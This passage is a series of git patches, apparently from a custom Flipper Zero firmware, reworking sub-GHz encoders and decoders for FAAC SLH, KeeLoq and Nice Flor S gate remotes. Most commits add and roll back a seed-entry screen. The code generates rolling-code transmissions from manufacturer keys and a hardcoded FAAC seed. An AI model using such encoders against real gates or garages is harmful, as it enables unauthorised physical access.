b/lib/subghz/protocols/faac_slh.h @@ -42,6 +42,7 @@ bool subghz_protocol_faac_slh_create_data( uint32_t serial, uint8_t btn, uint16_t cnt, + uint32_t seed, const char* manufacture_name, uint32_t frequency, FuriHalSubGhzPreset preset); From 745d91c53adf33aeaf60b39475e7c97ec061517d Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sun, 10 Apr 2022 22:47:37 +0300 Subject: [PATCH 073/461] input seed from device --- .../subghz/helpers/subghz_custom_event.h | 2 + .../scenes/subghz_scene_receiver_info.c | 37 ++++++++++++++++++ applications/subghz/subghz_i.h | 3 ++ lib/subghz/blocks/generic.h | 1 + lib/subghz/protocols/faac_slh.c | 39 ++----------------- lib/subghz/protocols/faac_slh.h | 23 ----------- 6 files changed, 46 insertions(+), 59 deletions(-) diff --git a/applications/subghz/helpers/subghz_custom_event.h b/applications/subghz/helpers/subghz_custom_event.h index 97920015a..1aa9a8289 100644 --- a/applications/subghz/helpers/subghz_custom_event.h +++ b/applications/subghz/helpers/subghz_custom_event.h @@ -13,6 +13,8 @@ typedef enum { SubGhzCustomEventSceneReceiverInfoTxStart, SubGhzCustomEventSceneReceiverInfoTxStop, SubGhzCustomEventSceneReceiverInfoSave, + SubGhzCustomEventSceneReceiverInfoNeedSeed, + SubGhzCustomEventSceneReceiverInfoDoneSeed, SubGhzCustomEventSceneSaveName, SubGhzCustomEventSceneSaveSuccess, SubGhzCustomEventSceneShowErrorBack, diff --git a/applications/subghz/scenes/subghz_scene_receiver_info.c b/applications/subghz/scenes/subghz_scene_receiver_info.c index b6ad12f42..8ebda6418 100644 --- a/applications/subghz/scenes/subghz_scene_receiver_info.c +++ b/applications/subghz/scenes/subghz_scene_receiver_info.c @@ -1,6 +1,7 @@ #include "../subghz_i.h" #include "../helpers/subghz_custom_event.h" #include +#include "applications/gui/modules/byte_input.h" void subghz_scene_receiver_info_callback(GuiButtonType result, InputType type, void* context) { furi_assert(context); @@ -15,6 +16,9 @@ void subghz_scene_receiver_info_callback(GuiButtonType result, InputType type, v } else if((result == GuiButtonTypeRight) && (type == InputTypeShort)) { view_dispatcher_send_custom_event( subghz->view_dispatcher, SubGhzCustomEventSceneReceiverInfoSave); + } else if((result == GuiButtonTypeLeft) && (type == InputTypeShort)) { + view_dispatcher_send_custom_event( + subghz->view_dispatcher, SubGhzCustomEventSceneReceiverInfoNeedSeed); } } @@ -94,6 +98,14 @@ void subghz_scene_receiver_info_on_enter(void* context) { subghz_scene_receiver_info_callback, subghz); } + if(strcmp(subghz->txrx->decoder_result->protocol->name, "Faac SLH") == 0) { + widget_add_button_element( + subghz->widget, + GuiButtonTypeLeft, + "Seed", + subghz_scene_receiver_info_callback, + subghz); + } } else { widget_add_icon_element(subghz->widget, 32, 12, &I_DolphinFirstStart7_61x51); widget_add_string_element( @@ -103,6 +115,11 @@ void subghz_scene_receiver_info_on_enter(void* context) { view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget); } +void byte_input_callback(void* context) { + SubGhz* subghz = (SubGhz*)context; + view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventSceneReceiverInfoDoneSeed); +} + bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; if(event.type == SceneManagerEventTypeCustom) { @@ -165,6 +182,22 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event) } return true; } + else if(event.event == SubGhzCustomEventSceneReceiverInfoNeedSeed) { + //Need to input seed + SubGhz* subghz = (SubGhz*)context; + + // Setup view + ByteInput* byte_input = subghz->byte_input; + byte_input_set_header_text(byte_input, "Enter seed"); + byte_input_set_result_callback( + byte_input, + byte_input_callback, + NULL, + subghz, + NULL, + NULL); + view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); + } } else if(event.type == SceneManagerEventTypeTick) { if(subghz->txrx->hopper_state != SubGhzHopperStateOFF) { subghz_hopper_update(subghz); @@ -186,4 +219,8 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event) void subghz_scene_receiver_info_on_exit(void* context) { SubGhz* subghz = context; widget_reset(subghz->widget); + + // Clear view + byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); + byte_input_set_header_text(subghz->byte_input, ""); } diff --git a/applications/subghz/subghz_i.h b/applications/subghz/subghz_i.h index b2d7df71a..5d2596b13 100644 --- a/applications/subghz/subghz_i.h +++ b/applications/subghz/subghz_i.h @@ -20,6 +20,7 @@ #include #include #include +#include #include #include @@ -121,6 +122,7 @@ struct SubGhz { Submenu* submenu; Popup* popup; TextInput* text_input; + ByteInput* byte_input; Widget* widget; DialogsApp* dialogs; char file_name[SUBGHZ_MAX_LEN_NAME + 1]; @@ -144,6 +146,7 @@ typedef enum { SubGhzViewIdReceiver, SubGhzViewIdPopup, SubGhzViewIdTextInput, + SubGhzViewIdByteInput, SubGhzViewIdWidget, SubGhzViewIdTransmitter, SubGhzViewIdVariableItemList, diff --git a/lib/subghz/blocks/generic.h b/lib/subghz/blocks/generic.h index 0d8fe0a2d..aec78214c 100644 --- a/lib/subghz/blocks/generic.h +++ b/lib/subghz/blocks/generic.h @@ -17,6 +17,7 @@ struct SubGhzBlockGeneric { uint8_t data_count_bit; uint8_t btn; uint16_t cnt; + uint32_t seed; }; /** diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 40dd6ed60..046a9f90f 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -120,7 +120,7 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst uint32_t hop = 0; uint32_t decrypt = 0; uint64_t man = 0; - instance->seed = 0x77ED7698; + //instance->seed = 0x77ED7698; int res = 0; char fixx[8] = {}; int shiftby = 32; @@ -163,32 +163,6 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst return true; } -bool subghz_protocol_faac_slh_create_data( - void* context, - FlipperFormat* flipper_format, - uint32_t serial, - uint8_t btn, - uint16_t cnt, - uint32_t seed, - const char* manufacture_name, - uint32_t frequency, - FuriHalSubGhzPreset preset) { - furi_assert(context); - SubGhzProtocolEncoderFaacSLH* instance = context; - instance->generic.serial = serial; - instance->generic.cnt = cnt; - instance->generic.btn = btn; - instance->seed = seed; - instance->manufacture_name = manufacture_name; - instance->generic.data_count_bit = 64; - bool res = subghz_protocol_faac_slh_gen_data(instance); - if(res) { - res = - subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); - } - return res; -} - /** * Generating an upload from data. * @param instance Pointer to a SubGhzProtocolEncoderFaacSLH instance @@ -198,13 +172,7 @@ static bool subghz_protocol_encoder_faac_slh_get_upload(SubGhzProtocolEncoderFaacSLH* instance) { furi_assert(instance); - //gen new key - if(subghz_protocol_faac_slh_gen_data(instance)) { - //ToDo if you need to add a callback to automatically update the data on the display - } else { - return false; - } - + subghz_protocol_faac_slh_gen_data(instance); size_t index = 0; size_t size_upload = 2 + (instance->generic.data_count_bit * 2); if(size_upload > instance->encoder.size_upload) { @@ -416,7 +384,6 @@ static void subghz_protocol_faac_slh_check_remote_controller instance->btn = code_fix & 0xF; uint32_t decrypt = 0; uint64_t man; - uint32_t seed = 0x77ED7698; for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { @@ -425,7 +392,7 @@ static void subghz_protocol_faac_slh_check_remote_controller switch(manufacture_code->type) { case KEELOQ_LEARNING_FAAC: // FAAC Learning - man = subghz_protocol_keeloq_common_faac_learning(seed, manufacture_code->key); + man = subghz_protocol_keeloq_common_faac_learning(instance->seed, manufacture_code->key); FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); uint32_t mlhi = man >> 32; uint32_t mllo = man & 0xFFFFFFFF; diff --git a/lib/subghz/protocols/faac_slh.h b/lib/subghz/protocols/faac_slh.h index 32e913f95..ae84d3244 100644 --- a/lib/subghz/protocols/faac_slh.h +++ b/lib/subghz/protocols/faac_slh.h @@ -24,29 +24,6 @@ void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment); */ void subghz_protocol_encoder_faac_slh_free(void* context); -/** - * Key generation from simple data. - * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param serial Serial number, 28 bit - * @param btn Button number, 4 bit - * @param cnt Counter value, 16 bit - * @param manufacture_name Name of manufacturer's key - * @param frequency Transmission frequency, Hz - * @param preset Modulation, FuriHalSubGhzPreset - * @return true On success - */ -bool subghz_protocol_faac_slh_create_data( - void* context, - FlipperFormat* flipper_format, - uint32_t serial, - uint8_t btn, - uint16_t cnt, - uint32_t seed, - const char* manufacture_name, - uint32_t frequency, - FuriHalSubGhzPreset preset); - /** * Deserialize and generating an upload to send. * @param context Pointer to a SubGhzProtocolEncoderFaacSLH instance From 2a2c4ba568fb3a5276f6df4ffc42f567bd6c9068 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 11 Apr 2022 00:38:20 +0300 Subject: [PATCH 074/461] + --- applications/subghz/scenes/subghz_scene_receiver_info.c | 4 ++-- applications/subghz/subghz_i.h | 6 ++++++ 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_receiver_info.c b/applications/subghz/scenes/subghz_scene_receiver_info.c index 8ebda6418..dc04c60e7 100644 --- a/applications/subghz/scenes/subghz_scene_receiver_info.c +++ b/applications/subghz/scenes/subghz_scene_receiver_info.c @@ -194,8 +194,8 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event) byte_input_callback, NULL, subghz, - NULL, - NULL); + subghz->seed_data->seed, + subghz->seed_data->seed_len); view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); } } else if(event.type == SceneManagerEventTypeTick) { diff --git a/applications/subghz/subghz_i.h b/applications/subghz/subghz_i.h index 5d2596b13..c3c9e456f 100644 --- a/applications/subghz/subghz_i.h +++ b/applications/subghz/subghz_i.h @@ -110,6 +110,11 @@ struct SubGhzTxRx { typedef struct SubGhzTxRx SubGhzTxRx; +typedef struct { + uint8_t seed[4]; + uint8_t seed_len; +} SeedData; + struct SubGhz { Gui* gui; NotificationApp* notifications; @@ -123,6 +128,7 @@ struct SubGhz { Popup* popup; TextInput* text_input; ByteInput* byte_input; + SeedData* seed_data; Widget* widget; DialogsApp* dialogs; char file_name[SUBGHZ_MAX_LEN_NAME + 1]; From 39fbe8f26dcc012faf907ad7c68fa4fd8e34f2e8 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 11 Apr 2022 00:55:32 +0300 Subject: [PATCH 075/461] Update keeloq.c better view --- lib/subghz/protocols/keeloq.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 73ffaa460..c562937bc 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -693,8 +693,7 @@ void subghz_protocol_decoder_keeloq_get_string(void* context, string_t output) { "Key:%08lX%08lX\r\n" "Fix:0x%08lX Cnt:%04X\r\n" "Hop:0x%08lX Btn:%01lX\r\n" - "MF:%s\r\n" - "Sn:0x%07lX \r\n", + "MF:%s Sn:0x%07lX \r\n", instance->generic.protocol_name, instance->generic.data_count_bit, code_found_hi, From c4899ceaa2f881a22927293b3d5d507a50968d59 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 11 Apr 2022 01:15:19 +0300 Subject: [PATCH 076/461] Update subghz_scene_receiver_info.c --- applications/subghz/scenes/subghz_scene_receiver_info.c | 1 + 1 file changed, 1 insertion(+) diff --git a/applications/subghz/scenes/subghz_scene_receiver_info.c b/applications/subghz/scenes/subghz_scene_receiver_info.c index dc04c60e7..ce544b0b0 100644 --- a/applications/subghz/scenes/subghz_scene_receiver_info.c +++ b/applications/subghz/scenes/subghz_scene_receiver_info.c @@ -197,6 +197,7 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event) subghz->seed_data->seed, subghz->seed_data->seed_len); view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); + return true; } } else if(event.type == SceneManagerEventTypeTick) { if(subghz->txrx->hopper_state != SubGhzHopperStateOFF) { From 0ba76676dfe7d2ddbed50a90e5c193ae034788a5 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 11 Apr 2022 01:22:06 +0300 Subject: [PATCH 077/461] Update subghz_scene_receiver_info.c --- applications/subghz/scenes/subghz_scene_receiver_info.c | 4 ---- 1 file changed, 4 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_receiver_info.c b/applications/subghz/scenes/subghz_scene_receiver_info.c index ce544b0b0..c742845ff 100644 --- a/applications/subghz/scenes/subghz_scene_receiver_info.c +++ b/applications/subghz/scenes/subghz_scene_receiver_info.c @@ -220,8 +220,4 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event) void subghz_scene_receiver_info_on_exit(void* context) { SubGhz* subghz = context; widget_reset(subghz->widget); - - // Clear view - byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); - byte_input_set_header_text(subghz->byte_input, ""); } From f10d95ddd6cd67e40d67f5d629eb4bbb43dca4e2 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 11 Apr 2022 01:45:26 +0300 Subject: [PATCH 078/461] = --- applications/subghz/helpers/subghz_custom_event.h | 1 - applications/subghz/scenes/subghz_scene_receiver_info.c | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/applications/subghz/helpers/subghz_custom_event.h b/applications/subghz/helpers/subghz_custom_event.h index 1aa9a8289..33ffb1b46 100644 --- a/applications/subghz/helpers/subghz_custom_event.h +++ b/applications/subghz/helpers/subghz_custom_event.h @@ -14,7 +14,6 @@ typedef enum { SubGhzCustomEventSceneReceiverInfoTxStop, SubGhzCustomEventSceneReceiverInfoSave, SubGhzCustomEventSceneReceiverInfoNeedSeed, - SubGhzCustomEventSceneReceiverInfoDoneSeed, SubGhzCustomEventSceneSaveName, SubGhzCustomEventSceneSaveSuccess, SubGhzCustomEventSceneShowErrorBack, diff --git a/applications/subghz/scenes/subghz_scene_receiver_info.c b/applications/subghz/scenes/subghz_scene_receiver_info.c index c742845ff..6fb396328 100644 --- a/applications/subghz/scenes/subghz_scene_receiver_info.c +++ b/applications/subghz/scenes/subghz_scene_receiver_info.c @@ -117,7 +117,7 @@ void subghz_scene_receiver_info_on_enter(void* context) { void byte_input_callback(void* context) { SubGhz* subghz = (SubGhz*)context; - view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventSceneReceiverInfoDoneSeed); + view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventViewReceiverOK); } bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event) { From 4a3e3aba34891787b609d7e7f28d150a46a82acd Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 11 Apr 2022 02:10:32 +0300 Subject: [PATCH 079/461] rollback --- .../subghz/helpers/subghz_custom_event.h | 1 - .../scenes/subghz_scene_receiver_info.c | 27 ------------------- applications/subghz/subghz_i.h | 6 ----- lib/subghz/protocols/faac_slh.c | 3 ++- 4 files changed, 2 insertions(+), 35 deletions(-) diff --git a/applications/subghz/helpers/subghz_custom_event.h b/applications/subghz/helpers/subghz_custom_event.h index 33ffb1b46..97920015a 100644 --- a/applications/subghz/helpers/subghz_custom_event.h +++ b/applications/subghz/helpers/subghz_custom_event.h @@ -13,7 +13,6 @@ typedef enum { SubGhzCustomEventSceneReceiverInfoTxStart, SubGhzCustomEventSceneReceiverInfoTxStop, SubGhzCustomEventSceneReceiverInfoSave, - SubGhzCustomEventSceneReceiverInfoNeedSeed, SubGhzCustomEventSceneSaveName, SubGhzCustomEventSceneSaveSuccess, SubGhzCustomEventSceneShowErrorBack, diff --git a/applications/subghz/scenes/subghz_scene_receiver_info.c b/applications/subghz/scenes/subghz_scene_receiver_info.c index 6fb396328..6b27cdb1d 100644 --- a/applications/subghz/scenes/subghz_scene_receiver_info.c +++ b/applications/subghz/scenes/subghz_scene_receiver_info.c @@ -1,7 +1,6 @@ #include "../subghz_i.h" #include "../helpers/subghz_custom_event.h" #include -#include "applications/gui/modules/byte_input.h" void subghz_scene_receiver_info_callback(GuiButtonType result, InputType type, void* context) { furi_assert(context); @@ -16,9 +15,6 @@ void subghz_scene_receiver_info_callback(GuiButtonType result, InputType type, v } else if((result == GuiButtonTypeRight) && (type == InputTypeShort)) { view_dispatcher_send_custom_event( subghz->view_dispatcher, SubGhzCustomEventSceneReceiverInfoSave); - } else if((result == GuiButtonTypeLeft) && (type == InputTypeShort)) { - view_dispatcher_send_custom_event( - subghz->view_dispatcher, SubGhzCustomEventSceneReceiverInfoNeedSeed); } } @@ -115,11 +111,6 @@ void subghz_scene_receiver_info_on_enter(void* context) { view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget); } -void byte_input_callback(void* context) { - SubGhz* subghz = (SubGhz*)context; - view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventViewReceiverOK); -} - bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; if(event.type == SceneManagerEventTypeCustom) { @@ -174,7 +165,6 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event) if(!subghz_scene_receiver_info_update_parser(subghz)) { return false; } - if((subghz->txrx->decoder_result->protocol->flag & SubGhzProtocolFlag_Save) == SubGhzProtocolFlag_Save) { subghz_file_name_clear(subghz); @@ -182,23 +172,6 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event) } return true; } - else if(event.event == SubGhzCustomEventSceneReceiverInfoNeedSeed) { - //Need to input seed - SubGhz* subghz = (SubGhz*)context; - - // Setup view - ByteInput* byte_input = subghz->byte_input; - byte_input_set_header_text(byte_input, "Enter seed"); - byte_input_set_result_callback( - byte_input, - byte_input_callback, - NULL, - subghz, - subghz->seed_data->seed, - subghz->seed_data->seed_len); - view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); - return true; - } } else if(event.type == SceneManagerEventTypeTick) { if(subghz->txrx->hopper_state != SubGhzHopperStateOFF) { subghz_hopper_update(subghz); diff --git a/applications/subghz/subghz_i.h b/applications/subghz/subghz_i.h index c3c9e456f..5d2596b13 100644 --- a/applications/subghz/subghz_i.h +++ b/applications/subghz/subghz_i.h @@ -110,11 +110,6 @@ struct SubGhzTxRx { typedef struct SubGhzTxRx SubGhzTxRx; -typedef struct { - uint8_t seed[4]; - uint8_t seed_len; -} SeedData; - struct SubGhz { Gui* gui; NotificationApp* notifications; @@ -128,7 +123,6 @@ struct SubGhz { Popup* popup; TextInput* text_input; ByteInput* byte_input; - SeedData* seed_data; Widget* widget; DialogsApp* dialogs; char file_name[SUBGHZ_MAX_LEN_NAME + 1]; diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 046a9f90f..3f13ea99f 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -120,7 +120,7 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst uint32_t hop = 0; uint32_t decrypt = 0; uint64_t man = 0; - //instance->seed = 0x77ED7698; + instance->seed = 0x77ED7698; int res = 0; char fixx[8] = {}; int shiftby = 32; @@ -384,6 +384,7 @@ static void subghz_protocol_faac_slh_check_remote_controller instance->btn = code_fix & 0xF; uint32_t decrypt = 0; uint64_t man; + instance->seed = 0x77ED7698; for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { From a5bc2430348fb38739ae32e91429443fdd770da9 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 11 Apr 2022 02:26:43 +0300 Subject: [PATCH 080/461] fixes --- lib/subghz/blocks/generic.h | 1 - lib/subghz/protocols/faac_slh.c | 4 ++-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/subghz/blocks/generic.h b/lib/subghz/blocks/generic.h index aec78214c..0d8fe0a2d 100644 --- a/lib/subghz/blocks/generic.h +++ b/lib/subghz/blocks/generic.h @@ -17,7 +17,6 @@ struct SubGhzBlockGeneric { uint8_t data_count_bit; uint8_t btn; uint16_t cnt; - uint32_t seed; }; /** diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 3f13ea99f..8248734e2 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -384,7 +384,7 @@ static void subghz_protocol_faac_slh_check_remote_controller instance->btn = code_fix & 0xF; uint32_t decrypt = 0; uint64_t man; - instance->seed = 0x77ED7698; + uint32_t seed = 0x77ED7698; for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { @@ -393,7 +393,7 @@ static void subghz_protocol_faac_slh_check_remote_controller switch(manufacture_code->type) { case KEELOQ_LEARNING_FAAC: // FAAC Learning - man = subghz_protocol_keeloq_common_faac_learning(instance->seed, manufacture_code->key); + man = subghz_protocol_keeloq_common_faac_learning(seed, manufacture_code->key); FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); uint32_t mlhi = man >> 32; uint32_t mllo = man & 0xFFFFFFFF; From 1652ab20ee358922c32082b3d37d38049d7ec853 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 11 Apr 2022 02:35:11 +0300 Subject: [PATCH 081/461] ... --- lib/subghz/blocks/generic.h | 1 + lib/subghz/protocols/faac_slh.c | 18 +++++++----------- 2 files changed, 8 insertions(+), 11 deletions(-) diff --git a/lib/subghz/blocks/generic.h b/lib/subghz/blocks/generic.h index 0d8fe0a2d..aec78214c 100644 --- a/lib/subghz/blocks/generic.h +++ b/lib/subghz/blocks/generic.h @@ -17,6 +17,7 @@ struct SubGhzBlockGeneric { uint8_t data_count_bit; uint8_t btn; uint16_t cnt; + uint32_t seed; }; /** diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 8248734e2..d19c019da 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -26,8 +26,6 @@ struct SubGhzProtocolDecoderFaacSLH { SubGhzKeystore* keystore; const char* manufacture_name; - - uint32_t seed; }; struct SubGhzProtocolEncoderFaacSLH { @@ -38,8 +36,6 @@ struct SubGhzProtocolEncoderFaacSLH { SubGhzKeystore* keystore; const char* manufacture_name; - - uint32_t seed; }; typedef enum { @@ -120,7 +116,7 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst uint32_t hop = 0; uint32_t decrypt = 0; uint64_t man = 0; - instance->seed = 0x77ED7698; + instance->generic.seed = 0x77ED7698; int res = 0; char fixx[8] = {}; int shiftby = 32; @@ -143,7 +139,7 @@ static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* inst case KEELOQ_LEARNING_FAAC: //FAAC Learning man = - subghz_protocol_keeloq_common_faac_learning(instance->seed, manufacture_code->key); + subghz_protocol_keeloq_common_faac_learning(instance->generic.seed, manufacture_code->key); uint32_t hi = manufacture_code->key >> 32; uint32_t lo = manufacture_code->key & 0xFFFFFFFF; FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); @@ -218,7 +214,7 @@ bool subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Deserialize error"); break; } - if(!flipper_format_read_uint32(flipper_format, "SEED", (uint32_t*)&instance->seed, 1)) { + if(!flipper_format_read_uint32(flipper_format, "SEED", (uint32_t*)&instance->generic.seed, 1)) { FURI_LOG_E(TAG, "Missing SEED"); break; } @@ -384,7 +380,7 @@ static void subghz_protocol_faac_slh_check_remote_controller instance->btn = code_fix & 0xF; uint32_t decrypt = 0; uint64_t man; - uint32_t seed = 0x77ED7698; + instance->seed = 0x77ED7698; for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { @@ -393,7 +389,7 @@ static void subghz_protocol_faac_slh_check_remote_controller switch(manufacture_code->type) { case KEELOQ_LEARNING_FAAC: // FAAC Learning - man = subghz_protocol_keeloq_common_faac_learning(seed, manufacture_code->key); + man = subghz_protocol_keeloq_common_faac_learning(instance->seed, manufacture_code->key); FURI_LOG_I(TAG, "mfkey: %08lX%08lX mf: %s\n", hi, lo, manufacture_code->name); uint32_t mlhi = man >> 32; uint32_t mllo = man & 0xFFFFFFFF; @@ -421,7 +417,7 @@ bool subghz_protocol_decoder_faac_slh_serialize( furi_assert(context); SubGhzProtocolDecoderFaacSLH* instance = context; bool res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); - if(res && !flipper_format_write_uint32(flipper_format, "SEED", &instance->seed, 1)) { + if(res && !flipper_format_write_uint32(flipper_format, "SEED", &instance->generic.seed, 1)) { FURI_LOG_E(TAG, "Unable to add SEED"); res = false; } @@ -459,5 +455,5 @@ void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) code_hop, instance->generic.btn, instance->generic.serial, - instance->seed); + instance->generic.seed); } From 4c82acffac2e005c3db78c6e80a2f82f9fae6d21 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 11 Apr 2022 17:29:51 +0300 Subject: [PATCH 082/461] Update faac_slh.c --- lib/subghz/protocols/faac_slh.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index d19c019da..25222e408 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -445,7 +445,7 @@ void subghz_protocol_decoder_faac_slh_get_string(void* context, string_t output) "Key:%lX%08lX\r\n" "Fix:%08lX Cnt:%04X\r\n" "Hop:%08lX Btn:%lX\r\n" - "Sn:%07lX Seed:%8X\r\n", + "Sn:%07lX Seed:%8X\r\n", instance->generic.protocol_name, instance->generic.data_count_bit, (uint32_t)(instance->generic.data >> 32), From 19cdc7764bf3b68dfcd838f376b4f22059e904ec Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 12 Apr 2022 14:57:53 +0300 Subject: [PATCH 083/461] Update subghz_i.h --- applications/subghz/subghz_i.h | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/applications/subghz/subghz_i.h b/applications/subghz/subghz_i.h index 5d2596b13..c895c2c3f 100644 --- a/applications/subghz/subghz_i.h +++ b/applications/subghz/subghz_i.h @@ -88,6 +88,11 @@ typedef enum { SubGhzLoadKeyStateOnlyRx, } SubGhzLoadKeyState; +typedef struct { + uint8_t seed_len; + uint8_t seed[4]; +} SeedData; + struct SubGhzTxRx { SubGhzWorker* worker; @@ -96,6 +101,7 @@ struct SubGhzTxRx { SubGhzTransmitter* transmitter; SubGhzProtocolDecoderBase* decoder_result; FlipperFormat* fff_data; + SeedData* seed_data; uint32_t frequency; FuriHalSubGhzPreset preset; From 1c679b2c7c93d68dc3a65d5254ae4f63fd896601 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 12 Apr 2022 17:33:41 +0300 Subject: [PATCH 084/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 4937cb808..832fee25e 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -142,7 +142,7 @@ static void for (int i = 0; i < 16; i++) { static const uint64_t loops[16] = { - 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF, 0x0}; + 0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xA, 0xB, 0xC, 0xD, 0xE, 0xF}; uint8_t byte; @@ -154,7 +154,7 @@ static void FURI_LOG_I(TAG, "key = %5X%8X", hi, lo); //Send header - for(uint8_t i = 35; i > 0; i--) { + for(uint8_t i = 34; i > 0; i--) { instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)subghz_protocol_nice_flor_s_const.te_short); } From d86d7d4b5383551f23dc5a33bad644838caeaf80 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Tue, 12 Apr 2022 20:45:05 +0300 Subject: [PATCH 085/461] Update nice_flor_s.c --- lib/subghz/protocols/nice_flor_s.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/lib/subghz/protocols/nice_flor_s.c b/lib/subghz/protocols/nice_flor_s.c index 832fee25e..fd228a149 100644 --- a/lib/subghz/protocols/nice_flor_s.c +++ b/lib/subghz/protocols/nice_flor_s.c @@ -95,7 +95,7 @@ void* subghz_protocol_encoder_nice_flor_s_alloc(SubGhzEnvironment* environment) TAG, "Loading rainbow table from %s", instance->nice_flor_s_rainbow_table_file_name); } instance->encoder.repeat = 10; - instance->encoder.size_upload = 5824; //max upload 182*32 = 5824 + instance->encoder.size_upload = 2880; //max upload 180*16 = 2880 instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration)); instance->encoder.is_runing = false; return instance; @@ -119,7 +119,7 @@ static void size_t index = 0; btn = instance->generic.btn; - size_t size_upload = (instance->generic.data_count_bit * 2) + ((35 + 